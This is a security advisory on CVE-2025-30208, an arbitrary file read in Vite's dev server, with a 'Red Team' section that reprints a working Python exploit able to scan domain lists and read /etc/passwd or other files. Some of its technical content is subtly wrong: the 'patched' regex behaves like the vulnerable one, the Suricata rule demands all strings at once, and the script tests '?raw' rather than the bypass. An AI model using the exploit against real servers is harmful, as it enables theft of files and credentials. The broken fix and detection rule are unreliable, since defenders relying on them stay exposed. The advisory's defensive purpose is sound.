CVE-2025-30208

Executive Summary

CVE-2025-30208 is a medium-severity vulnerability in Vite, a popular frontend development tooling framework. The flaw resides in the @fs access control mechanism, which is designed to restrict file access to the Vite serving allow list. By appending specially crafted query strings such as ?raw?? or ?import&raw?? to a URL, an attacker can bypass these restrictions and read arbitrary files from the server's filesystem. The vulnerability arises because trailing separators like ? are stripped during URL processing but are not properly accounted for in the query string regex validation. This issue only affects instances where the Vite dev server is explicitly exposed to the network via the --host or server.host configuration option. The CVSS score is 5.3, indicating a moderate risk, but the availability of public exploit code and a Nuclei template elevates the urgency for patching.

Supply Chain & Package Security

Vite is distributed as an npm package (vite). This vulnerability affects the core development server component. Organizations using Vite in their development or build pipelines should immediately update to the patched versions. Since Vite is often used in CI/CD environments and local development, the exposure of the dev server to a network (even an internal one) can lead to information disclosure. The package maintainers have released fixes for all affected major versions. Users should verify their package.json and package-lock.json files to ensure they are not pinned to a vulnerable version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): High (H) - Exploitation requires the dev server to be exposed to the network and the attacker to craft specific query strings.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must be running a vulnerable Vite dev server with network exposure.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service impact.

Threat Level: Medium. While the CVSS score is moderate, the existence of public exploit code and the potential for sensitive data leakage (e.g., source code, configuration files, credentials) makes this a high-priority issue for organizations using Vite in exposed environments.

Deep Dive & Mechanics

The vulnerability is rooted in how Vite's @fs module handles query string parsing. The @fs module is responsible for serving files from the filesystem, but it enforces an allow list to prevent access to files outside the project root. The flaw occurs because the query string regex used to detect special parameters like raw does not account for trailing separators (e.g., ?). When a request like /etc/passwd?raw?? is made, the URL parser removes the trailing ? during normalization, but the regex that checks for the raw parameter still matches because it sees ?raw? as a valid query string. This allows the file to be served without proper allow-list validation.

The attack flow is as follows:

1. The attacker sends a request to the Vite dev server with a path to a restricted file (e.g., /etc/passwd).
2. The attacker appends a query string like ?raw?? or ?import&raw??.
3. Vite's URL processing strips the trailing ?, resulting in a query string of ?raw? or ?import&raw?.
4. The regex that checks for the raw parameter matches this modified query string, bypassing the allow-list check.
5. The file content is returned in the HTTP response.

This bypass is only possible when the Vite dev server is exposed to the network (using --host or server.host). By default, Vite binds to localhost, which mitigates the risk.

Vulnerable vs. Patched Code

The vulnerable code is in the @fs module's query string parsing logic. The exact code is not publicly disclosed, but the fix involves updating the regex to properly handle trailing separators.

Vulnerable Code (Conceptual):

// Vulnerable regex that does not account for trailing '?'
const rawRegex = /[?&]raw(&|$)/;

Patched Code (Conceptual):

// Patched regex that properly handles trailing separators
const rawRegex = /[?&]raw(?=&|$)/;

The patched version ensures that the raw parameter is only matched when it is followed by & or the end of the string, preventing the bypass via trailing ?.

Exploitation & Lab Setup

Red Team

The following exploit code (from Exploit-DB) can be used to test for the vulnerability. It sends a request with the ?raw query parameter and checks for a successful response.

Exploit Code (Python):

# Exploit Title: Vite Arbitrary File Read - CVE-2025-30208
# Date: 2025-04-03
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://vitejs.dev/
# Software Link: https://github.com/vitejs/vite
# Version: <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9
# Tested on: Ubuntu
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-30208
# https://github.com/advisories/GHSA-x574-m823-4x7w
# CVE : CVE-2025-30208

"""
################
# Description  #
################

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
"""

import requests
import argparse
import urllib3
from colorama import Fore, Style

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(target, file_path, verbose=False, output=None):
    url = f"{target}{file_path}?raw"
    print(f"{Fore.CYAN}[*] Testing: {url}{Style.RESET_ALL}")

    try:
        response = requests.get(url, timeout=5, verify=False)  # Ignore SSL verification
        if response.status_code == 200 and response.text:
            vuln_message = f"{Fore.GREEN}[+] Vulnerable : {url}{Style.RESET_ALL}"
            print(vuln_message)

            if verbose:
                print(f"\n{Fore.YELLOW}--- File Content Start ---{Style.RESET_ALL}")
                print(response.text[:500])  # Print first 500 characters for safety
                print(f"{Fore.YELLOW}--- File Content End ---{Style.RESET_ALL}\n")

            if output:
                with open(output, 'a') as f:
                    f.write(f"{url}\n")
        else:
            print(f"{Fore.RED}[-] Not vulnerable or file does not exist: {url}{Style.RESET_ALL}")
    except requests.exceptions.RequestException as e:
        print(f"{Fore.YELLOW}[!] Error testing {url}: {e}{Style.RESET_ALL}")

def check_multiple_domains(file_path, file_to_read, verbose, output):
    try:
        with open(file_to_read, 'r') as file:
            domains = file.readlines()
            for domain in domains:
                domain = domain.strip()
                if domain:
                    check_vulnerability(domain, file_path, verbose, output)
    except FileNotFoundError:
        print(f"{Fore.RED}[!] Error: The file '{file_to_read}' does not exist.{Style.RESET_ALL}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC for CVE-2025-30208 - Vite Arbitrary File Read")
    parser.add_argument("target", nargs="?", help="Target URL (e.g., http://localhost:5173)")
    parser.add_argument("-l", "--list", help="File containing list of domains")
    parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Show file content if vulnerable")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")

    args = parser.parse_args()

    if args.list:
        check_multiple_domains(args.file, args.list, args.verbose, args.output)
    elif args.target:
        check_vulnerability(args.target, args.file, verbose=args.verbose, output=args.output)
    else:
        print(f"{Fore.RED}Please provide a target URL or a domain list file.{Style.RESET_ALL}")

Usage:

1. Save the script as exploit.py.
2. Install dependencies: pip install requests colorama.
3. Run against a single target: python exploit.py http://target:5173 -f /etc/passwd -v.
4. Run against a list of targets: python exploit.py -l targets.txt -f /etc/passwd -o vulnerable.txt.

Blue Team

To detect exploitation attempts, monitor web server logs for requests containing suspicious query strings like ?raw??, ?import&raw??, or ?raw targeting files outside the expected project structure. Additionally, look for requests to sensitive system files (e.g., /etc/passwd, /etc/shadow, C:/Windows/System32/drivers/etc/hosts).

Lab Setup:

1. Deploy a vulnerable Vite application (e.g., npm create vite@5.4.14 my-app).
2. Start the dev server with network exposure: npx vite --host 0.0.0.0.
3. Use the exploit script to test the vulnerability.
4. Apply the patch by upgrading Vite to a fixed version.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to paths like /etc/passwd?raw??, /etc/shadow?import&raw??, or any file path followed by ?raw?? or ?import&raw??.
  • Requests with a User-Agent header matching common scanning tools (e.g., python-requests/2.x).
  • Unusual file paths in the request URI that are not part of the application's expected structure.

• File System IOCs:

  • Unexpected access to files outside the project root, such as /etc/passwd, /etc/shadow, /proc/self/environ, or Windows system files.
  • Log entries showing successful 200 responses for these requests.

• Behavioral IOCs:

  • Multiple requests to different file paths with the same query string pattern in a short period.
  • Requests originating from IP addresses not associated with legitimate users or CI/CD systems.

Detection Engineering

YARA Rule

rule CVE_2025_30208_Vite_File_Read {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-30208 in Vite"
        author = "Valters IT"
        date = "2025-04-03"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30208"
        severity = "medium"
    strings:
        $s1 = "?raw??" ascii wide nocase
        $s2 = "?import&raw??" ascii wide nocase
        $s3 = "/etc/passwd" ascii wide nocase
        $s4 = "/etc/shadow" ascii wide nocase
        $s5 = "/proc/" ascii wide nocase
        $s6 = "C:/Windows/System32/drivers/etc/hosts" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-30208 Vite Arbitrary File Read Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-30208 in Vite
author: Valters IT
date: 2025-04-03
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
    - https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '?raw??'
            - '?import&raw??'
        cs-uri-stem|contains:
            - '/etc/passwd'
            - '/etc/shadow'
            - '/proc/'
            - 'C:/Windows/System32/drivers/etc/hosts'
    condition: selection
falsepositives:
    - Legitimate use of raw file imports in development (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2025.30208

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30208 Vite Arbitrary File Read Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?raw??"; http_uri; content:"?import&raw??"; http_uri; content:"/etc/passwd"; http_uri; content:"/etc/shadow"; http_uri; content:"/proc/"; http_uri; content:"C:/Windows/System32/drivers/etc/hosts"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2025-30208

info:
  name: Vite - Arbitrary File Read
  author: v2htw,s4e-io
  severity: medium
  description: |
    Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
  impact: |
    Attackers can bypass file access restrictions by adding special query parameters to URLs, potentially reading arbitrary files when the Vite dev server is exposed to the network.
  remediation: |
    Upgrade to Vite version 6.2.3, 6.1.2, 6.0.12, 5.4.15, or 4.5.10 that properly validates query parameters.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
  classification:
    epss-score: 0.88956
    epss-percentile: 0.99531
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-30208
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: 'body="/@vite/client"'
  tags: cve,cve2025,arbitrary-file-read,vite,CVE-2025-30208,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "vite"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd?raw"
      - "{{BaseURL}}/etc/passwd?raw??"
      - "{{BaseURL}}/C:/Windows/System32/drivers/etc/hosts?raw"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "Copyright \\(c\\).*Microsoft Corp"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0098ecf69abe277e398490c28cdbeb6789e328ad0a4160b44909c5a3237357f022036b3a96f51b0a5a22888e8d771e0e71c57b075368666a9ed12574a4ec53c17d5:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

1. Immediate Patching: Upgrade Vite to version 6.2.3, 6.1.2, 6.0.12, 5.4.15, or 4.5.10, depending on your current major version. Run npm update vite or yarn upgrade vite to apply the fix.
2. Network Segmentation: Do not expose the Vite dev server to untrusted networks. Use --host or server.host only in controlled environments. Consider using a reverse proxy or VPN for remote development.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing ?raw?? or ?import&raw?? in the query string.
4. Monitoring: Implement the detection rules provided in this report to identify exploitation attempts.
5. Least Privilege: Run the Vite dev server with minimal filesystem permissions to limit the impact of a successful exploit.
6. Regular Audits: Periodically review your dependencies and update to the latest versions.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 0498038FA9EA0729852FCD79] */}